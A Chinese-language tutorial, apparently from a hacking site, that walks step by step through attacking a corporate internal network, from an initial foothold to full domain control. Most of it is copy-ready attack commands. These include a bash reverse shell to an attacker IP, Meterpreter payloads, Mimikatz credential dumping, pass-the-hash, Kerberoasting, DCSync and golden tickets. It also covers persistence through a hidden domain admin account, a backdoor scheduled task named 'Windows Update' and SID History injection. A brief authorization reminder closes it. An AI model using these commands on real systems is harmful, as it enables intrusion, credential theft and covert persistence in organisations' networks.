内网渗透技术完全指南

内网渗透是渗透测试中最复杂、最具挑战性的阶段。当攻击者突破外网边界进入内网后,需要通过信息收集、横向移动、权限提升等技术最终控制核心资产(如域控制器、数据库服务器)。本文将系统讲解内网渗透的完整技术体系,从代理隧道到域控突破的全流程实战技巧。

内网渗透攻击路径拓扑图 HackHub.org 👨‍💻 攻击者 Internet DMZ 区域 Web 服务器 192.168.1.100 已被攻陷 ✓ SQL注入 内网办公区 PC-01 10.10.10.50 横向移动目标 PC-02 10.10.10.51 普通员工机 文件服务器 10.10.10.100 SMB 445 数据库 10.10.10.200 MySQL 3306 核心区域 域控制器 DC01 10.10.10.10 最终目标 🎯 代理隧道 权限提升 内网渗透攻击流程 1 突破边界 SQL注入获取WebShell 2 建立隧道 Socks代理/端口转发 3 信息收集 内网主机/服务扫描 4 横向移动 凭证窃取/哈希传递 5 域控突破 DCSync/黄金票据

📘 内网渗透概述

内网渗透是指攻击者在突破外网防御后,进入企业内部网络进行深入攻击的过程。与外网渗透不同,内网环境通常具有以下特点:

🎯 内网环境特点

  • 网络隔离:DMZ、办公区、核心区等多层网络分段
  • 防御薄弱:内网安全意识较低,系统补丁不及时
  • 域环境:Windows Active Directory 集中管理
  • 信任关系:主机间存在 Kerberos 认证和文件共享

🚪 初始访问与立足点建立

1. 获取 WebShell 或反弹 Shell

假设通过 SQL 注入、文件上传等漏洞已经获得了 Web 服务器的控制权:

反弹 Shell 到 MSF
# 在 WebShell 中执行
bash -i >& /dev/tcp/192.168.1.50/4444 0>&1

# 或使用 MSF 生成 Payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf
./shell.elf

2. 信息收集 - 确认网络环境

# 查看网卡信息
ifconfig / ip addr
# 192.168.1.100 (外网) + 10.10.10.1 (内网)

# 查看路由表
route -n / ip route

# 查看 ARP 缓存
arp -a

# 查看网段存活主机
ping 10.10.10.1-254  # 不推荐,产生大量ICMP流量

# 查看监听端口
netstat -tulnp | grep LISTEN

🔀 代理隧道技术

方案1:MSF Socks 代理

通过 Meterpreter 建立 Socks 代理
# 1. 添加路由
meterpreter > run autoroute -s 10.10.10.0/24

# 2. 启动 Socks4a 代理
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > run -j

# 3. 配置 proxychains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains4.conf

# 4. 通过代理扫描内网
proxychains nmap -sT -Pn 10.10.10.0/24

方案2:SSH 动态端口转发

# 如果目标开放了 SSH (22端口)
ssh -D 1080 -N -f [email protected]

# 配置浏览器使用 SOCKS5 代理 127.0.0.1:1080
# 即可访问内网 Web 应用

方案3:reGeorg/Neo-reGeorg

当目标只有 Web 应用(PHP/JSP/ASPX)时,可以使用 reGeorg 隧道工具:

# 1. 上传 tunnel.php 到 Web 目录
# 下载:https://github.com/sensepost/reGeorg

# 2. 启动本地代理
python reGeorgSocksProxy.py -p 1080 -u http://192.168.1.100/tunnel.php

# 3. 配置 proxychains 使用 socks5 127.0.0.1:1080

方案4:Chisel 反向代理

# 攻击机启动服务端
./chisel server -p 8080 --reverse

# 目标机启动客户端 (反向连接)
./chisel client 192.168.1.50:8080 R:socks

# 现在可以通过 127.0.0.1:1080 访问内网

🔍 内网信息收集

1. 主机发现

# Nmap 扫描(通过代理)
proxychains nmap -sT -Pn 10.10.10.0/24

# MSF 内置扫描模块
msf6 > use auxiliary/scanner/discovery/arp_sweep
msf6 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(scanner/discovery/arp_sweep) > set SESSION 1
msf6 auxiliary(scanner/discovery/arp_sweep) > run

# fscan 快速扫描(推荐)
./fscan -h 10.10.10.0/24

2. 域环境信息收集

识别域环境
# Windows 命令
ipconfig /all  # 查看 DNS 服务器(通常是域控)
net config workstation  # 查看域信息
systeminfo | findstr /B /C:"域"

# PowerShell 查询域信息
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# 查询域控制器
nltest /dclist:corp.com
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.com

# 查询域用户
net user /domain
net group "Domain Admins" /domain

3. BloodHound 域分析

# 使用 SharpHound 收集域信息
.\SharpHound.exe -c All --zipfilename corp_bloodhound.zip

# 或使用 PowerShell 版本
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain corp.com

# 导入 BloodHound 分析
neo4j console
# 访问 http://localhost:7474
# 上传 .zip 文件,查找攻击路径

🔀 横向移动技术

1. 凭证窃取

Mimikatz 抓取密码
# Meterpreter 加载 Kiwi
meterpreter > load kiwi
meterpreter > kiwi_cmd privilege::debug
meterpreter > kiwi_cmd sekurlsa::logonpasswords

# 导出结果
Username : administrator
Domain   : CORP
NTLM     : e19ccf75ee54e06b06a5907af13cef42
Password : P@ssw0rd123

# 或直接使用 hashdump
meterpreter > hashdump

2. Pass-the-Hash (哈希传递)

# MSF psexec 模块
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.50
msf6 exploit(windows/smb/psexec) > set SMBUser administrator
msf6 exploit(windows/smb/psexec) > set SMBPass e19ccf75ee54e06b06a5907af13cef42
msf6 exploit(windows/smb/psexec) > exploit

# Impacket psexec.py
python psexec.py -hashes :e19ccf75ee54e06b06a5907af13cef42 [email protected]

3. WMI 远程执行

# wmiexec.py (推荐,无需写入文件)
python wmiexec.py administrator:P@[email protected]

# PowerShell WMI 执行
$credential = Get-Credential
Invoke-WmiMethod -ComputerName 10.10.10.50 -Credential $credential `
  -Class Win32_Process -Name Create -ArgumentList "powershell -enc "

4. PSExec / SMBExec

# Impacket smbexec
python smbexec.py administrator:P@[email protected]

# Sysinternals PsExec
PsExec.exe \\10.10.10.50 -u administrator -p P@ssw0rd123 cmd.exe

⬆️ 权限提升

1. Windows 提权

# 使用 PowerUp 枚举提权路径
powershell -ep bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks

# 使用 WinPEAS
.\winPEASx64.exe

# MSF 本地提权模块
meterpreter > background
msf6 > use exploit/windows/local/ms16_075_reflection
msf6 exploit(windows/local/ms16_075_reflection) > set SESSION 1
msf6 exploit(windows/local/ms16_075_reflection) > exploit

2. Linux 提权

# LinPEAS 自动化枚举
./linpeas.sh

# 查找 SUID 程序
find / -perm -4000 -type f 2>/dev/null

# 利用 Dirty COW (CVE-2016-5195)
gcc -pthread dirty.c -o dirty -lcrypt
./dirty P@ssw0rd123

🏰 域渗透攻击

1. Kerberoasting 攻击

请求服务票据并离线破解
# 使用 Rubeus 请求 TGS
.\Rubeus.exe kerberoast /outfile:hashes.txt

# 使用 Hashcat 破解
hashcat -m 13100 hashes.txt wordlist.txt

# Impacket GetUserSPNs.py
python GetUserSPNs.py corp.com/user:password -dc-ip 10.10.10.10 -request

2. DCSync 攻击(获取域内所有哈希)

# 需要域管理员权限或 Replication 权限
meterpreter > load kiwi
meterpreter > kiwi_cmd lsadump::dcsync /domain:corp.com /all /csv

# Impacket secretsdump.py
python secretsdump.py corp.com/administrator:P@[email protected]

3. 黄金票据攻击

# 1. 获取 krbtgt 哈希
meterpreter > kiwi_cmd lsadump::dcsync /domain:corp.com /user:krbtgt

# 2. 生成黄金票据
meterpreter > kiwi_cmd kerberos::golden /user:Administrator \
  /domain:corp.com /sid:S-1-5-21-xxx /krbtgt:abc123... /ptt

# 3. 访问任意资源
dir \\DC01\C$

🔒 权限维持

# 添加域管理员账号
net user hacker P@ssw0rd123 /add /domain
net group "Domain Admins" hacker /add /domain

# 创建计划任务
schtasks /create /tn "Windows Update" /tr "C:\backdoor.exe" /sc onlogon /ru System

# WMI 事件订阅
$filter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" ...
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" ...

# 域后门(SID History 注入)
mimikatz # sid::patch
mimikatz # sid::add /user:normaluser /sid:S-1-5-21-xxx-500

🛠️ 常用工具清单

🔧 代理隧道

  • reGeorg / Neo-reGeorg
  • Chisel
  • Frp / Nps
  • EarthWorm (ew)

🔍 信息收集

  • fscan (一键扫描神器)
  • BloodHound (域分析)
  • PowerView (域枚举)
  • ADRecon

🚀 横向移动

  • Impacket (psexec/wmiexec)
  • CrackMapExec (CME)
  • Evil-WinRM
  • Cobalt Strike

⬆️ 权限提升

  • Mimikatz / Kiwi
  • PowerUp / SharpUp
  • Potato 系列提权
  • LinPEAS / WinPEAS

📚 总结

内网渗透是一个系统性工程,需要熟练掌握代理隧道、信息收集、横向移动、权限提升等多项技术。在实战中,要根据目标环境灵活选择工具和攻击路径。

⚠️ 安全与合规

  • 合法授权:所有内网渗透行为必须获得书面授权
  • 范围限制:严格遵守授权范围,不越权攻击
  • 数据保护:妥善处理获取的敏感数据,测试后及时删除
  • 痕迹清理:测试结束后清理日志、后门等痕迹

🖼️ 内网渗透实战场景